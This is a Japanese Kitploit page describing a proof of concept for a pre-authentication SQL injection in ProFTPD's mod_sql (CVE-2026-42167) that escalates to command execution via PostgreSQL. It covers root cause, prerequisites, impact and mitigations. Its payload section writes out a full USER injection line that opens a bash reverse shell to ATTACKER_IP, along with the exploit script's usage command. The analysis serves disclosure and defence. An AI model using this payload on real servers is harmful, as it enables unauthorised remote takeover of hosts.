Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42167-PoC — Pre-Auth RCE in ProFTPD via mod_sql is_escaped_text() bypass (CVE-2026-42167) | Kitploit
ツール/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

Pre-Auth RCE in ProFTPD via mod_sql is_escaped_text() bypass (CVE-2026-42167)

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42167 POC

ProFTPDのmod_sql SQLインジェクションによる事前認証リモートコード実行

著者: Van Glenndon Enad

最初の発見者: ZeroPath

公開日: 2026年5月1日

深刻度: Critical

CVSS v3.1 スコア: 8.1

CVSS v3.1 ベクター: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v2 スコア: 7.6

CVSS v2 ベクター: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (SQLインジェクション), CWE-78 (OSコマンドインジェクション)


目次

  1. エグゼクティブサマリー
  2. 影響を受けるソフトウェア
  3. 脆弱性の説明
  4. 根本原因分析
  5. 前提条件
  6. エクスプロイトチェーン
  7. ペイロード分析
  8. 概念実証
  9. 影響
  10. 対策
  11. 参考情報
  12. 開示のタイムライン

エグゼクティブサマリー

CVE-2026-42167は、ProFTPDのmod_sql拡張モジュールにおける重大な事前認証SQLインジェクション脆弱性です。is_escaped_text()関数のロジック上の欠陥により、認証されていない攻撃者が、欠陥のある「エスケープ済み」ヒューリスティックを満たす値をUSERコマンドで送信することで、SQL文字エスケープを回避できます。注入されたSQLはPQexec()を介してバックエンドデータベースに直接渡され、スタッククエリをサポートしています。

ProFTPDのデータベースロールがPostgreSQLスーパーユーザーである場合(コンテナ化されたデプロイメントでは一般的な設定ミス)、インジェクションはPostgreSQLのCOPY TO PROGRAMディレクティブに到達し、postgresシステムユーザーとしての認証不要のOSレベルリモートコード実行につながります。資格情報、事前アクセス、ユーザー操作は一切不要です。


影響を受けるソフトウェア

コンポーネントバージョン
ProFTPD≤ 1.3.9
モジュールmod_sql + mod_sql_postgres
修正版1.3.9a (2026年4月27日リリース)
バックエンドPostgreSQL (RCE); MySQL / SQLite (認証バイパスのみ)

ProFTPDは広く展開されているオープンソースのFTPサーバーです。Shodanによると、インターネット上には160,000以上の公開アクセス可能なProFTPDインスタンスが存在します。mod_sqlモジュールは、cPanel、Plesk、DirectAdmin、Webmin、ISPConfigなどの共有ホスティングコントロールパネルで一般的に有効化されています。


脆弱性の説明

ProFTPDのmod_sqlモジュールは、SQLベースの認証とアクティビティログをサポートしています。ログフォーマット文字列には、%U(ユーザー名)、%r(リモートホスト)、%m(FTPコマンド)などの置換変数を含めることができます。これらの変数は実行時に展開され、設定されたバックエンドに対して実行されるSQLクエリに挿入されます。

典型的な脆弱な設定:

root@kitploit:~
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity

この設定では、FTPのUSERコマンドで指定された値が%Uに置換され、SQLのINSERT文に直接含まれます。挿入前に、値はis_escaped_text()に渡され、エスケープが必要かどうかが判断されます。この関数には重大な論理的欠陥があります。


根本原因分析

欠陥のあるis_escaped_text()関数

contrib/mod_sql.cに存在するこの関数は、文字列が「エスケープ済み」かどうかを判断するために以下のヒューリスティックを適用します:

root@kitploit:~
static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* 以下の場合、文字列はエスケープ済みと見なす:
   *   1. 単一引用符で始まる
   *   2. 単一引用符で終わる
   *   3. 内部に単一引用符を含まない
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* エスケープをスキップ */
  }
  return FALSE;
}

この関数がTRUEを返すと、sql_resolved_append_text()(777行目)はエスケープされていない生の値をクエリ文字列に直接挿入します。この値はcontrib/mod_sql_postgres.c(1146行目)のPQexec()によって実行され、スタック(複数文)クエリをサポートしています。

ヒューリスティックが失敗する理由

このヒューリスティックは、すでにSQL文字列デリミタで囲まれている文字列を検出することを意図していた可能性があります。しかし、内部コンテンツが安全であることを検証する試みは一切行われず、追加の単一引用符が存在しないことだけを確認しています。つまり、以下の条件を満たすペイロードは:

  • 'で始まる
  • 'で終わる
  • 内部に単一引用符を使用しない(例: PostgreSQLの$$ドル引用符を使用)

...チェックを通過し、SQLクエリにそのまま注入されます。

インジェクションフロー

root@kitploit:~
FTPクライアント              ProFTPD                  PostgreSQL
    │                         │                         │
    │── USER '<payload>'  ──▶ │                         │
    │                         │ %U = '<payload>' を展開 │
    │                         │ is_escaped_text() = TRUE│
    │                         │ エスケープをスキップ    │
    │                         │── INSERT INTO activity  │
    │                         │   VALUES ('<payload>',  │
    │                         │   ...) ──────────────▶  │
    │                         │                         │ スタックSQLを実行
    │                         │                         │ COPY TO PROGRAM
    │                         │                         │── シェルコマンド ──▶ OS

前提条件

要件備考
mod_sqlがSQLログ記録で有効%Uなどの事前認証変数をログに記録する必要がある
PostgreSQLバックエンドCOPY TO PROGRAMによるRCEに必要。MySQL/SQLiteでも認証バイパスは可能
DBロールがPostgreSQLスーパーユーザーCOPY TO PROGRAMはスーパーユーザーまたはpg_execute_server_programのメンバーに制限されている
DBホストでbashが利用可能/dev/tcpリバースシェル配信に必要
ネットワーク到達性PostgreSQLコンテナがリスナーポートで攻撃者に到達できる必要がある

スーパーユーザー条件は、公式のPostgreSQL DockerイメージでPOSTGRES_USER=...を使用してProFTPDのDBユーザーが作成されるコンテナ化されたデプロイメントや、管理者がProFTPDロールにデータベースの所有権を付与した場合に頻繁に満たされます。


エクスプロイトチェーン

root@kitploit:~
ステップ1: 攻撃者が細工したUSERコマンドを送信(事前認証、資格情報不要)
        │
        ▼
ステップ2: ProFTPDが%Uを攻撃者が制御する値で展開
        │
        ▼
ステップ3: is_escaped_text()バイパス — 生のSQLがエスケープされずに通過
        │
        ▼
ステップ4: PQexec()がPostgreSQLに対してスタッククエリを実行
        │
        ▼
ステップ5: COPY TO PROGRAMがpostgres OSユーザーとして攻撃者のシェルコマンドを実行
        │
        ▼
ステップ6: リバースシェル / ファイル窃取が攻撃者に配信

ペイロード分析

インジェクションペイロードはFTPのUSERコマンドを介して配信されます:

root@kitploit:~
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'

バイパス条件の検証

条件満たされるか?理由
'で始まる✅最初の文字が'
'で終わる✅最後の文字が'
内部に単一引用符がない✅内部文字列は$$ドル引用符を使用

ペイロードの内訳

セグメント目的
', null, null);元のINSERT文をクリーンに閉じる
COPY (SELECT $$x$$) TO PROGRAMPostgreSQLのCOPY TO PROGRAMを使用したスタッククエリ
$$bash -c ...$$単一引用符を避けるために$$ドル引用符を使用したシェルコマンド
; --'スタッククエリを終了。--'は残りをコメントアウトし、バイパス用の閉じる'を提供

概念実証

警告: このPoCは教育目的および許可されたテスト目的のみで提供されています。所有していないシステム、または明示的な書面による許可を得ていないシステムに対して使用しないでください。

使用例:

root@kitploit:~
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT

影響

カテゴリ説明
機密性postgres OSユーザーとしてファイルシステムへの完全な読み取りアクセス
完全性ファイルの書き込み、データベースコンテンツの変更、バックドアのインストールが可能
可用性サービス妨害、データ破壊が可能
認証事前認証でゼロ資格情報で悪用可能
範囲ProFTPDを超えて基盤となるPostgreSQLホストに拡大

ProFTPDがPostgreSQLインスタンスと同一ホスト上にある、またはスーパーユーザーアクセスを持つシステムはすべて、ホスト全体の侵害リスクがあります。隣接システムへの横移動、cronジョブやSSHキー注入による永続化は、侵害後に簡単に達成できます。


対策

即時対応

  • ProFTPDをバージョン1.3.9a以降にアップグレード — 修正によりis_escaped_text()が適切なパラメータ化クエリ処理でパッチされています

即時のアップグレードが不可能な場合

  • mod_sqlベースのログ記録を完全に無効化(SQLLogディレクティブを削除)
  • SQLNamedQuery定義から事前認証ログ変数(%U、%r、%m)を削除

多層防御

  • ProFTPDのデータベースロールがPostgreSQLスーパーユーザーではないことを確認(最小権限の原則)
  • DBロールをログテーブルへのINSERTと認証テーブルへのSELECTのみに制限
  • 可能な場合はProFTPDとPostgreSQLを別々のネットワークセグメントに配置
  • 単一引用符、COPY、PROGRAM、SQLキーワードを含むUSERコマンドをFTPログで監視

開示のタイムライン

日付イベント
2026年3月28日ProFTPDメンテナーに脆弱性を報告
2026年4月7日パッチ検証を開始
2026年4月24日CVE-2026-42167が割り当て
2026年4月27日修正がコミットされ、ProFTPD 1.3.9aがリリース
2026年4月28日NVDに公開
2026年4月28日–29日公開PoCリポジトリがGitHubに公開
2026年5月1日独立した分析と簡略化されたPoCが公開

参考情報

  • NVD — CVE-2026-42167
  • ZeroPath Research Blog — CVE-2026-42167 Auth Bypass and RCE in ProFTPD
  • ZeroPathAI — 公式PoCリポジトリ
  • dinosn — 独立した根本原因分析
  • ProFTPD Issue #2052 — mod_sql is_escaped_textによるSQLインジェクション
  • CVEFeed.io — CVE-2026-42167

法的免責事項: この分析と概念実証は、教育、研究、および防御的セキュリティ目的のみで公開されています。著者はコンピュータシステムへの不正アクセスを容認しません。所有していないシステムに対してセキュリティテストを実施する前に、必ず明示的な書面による許可を取得してください。

ツールをダウンロード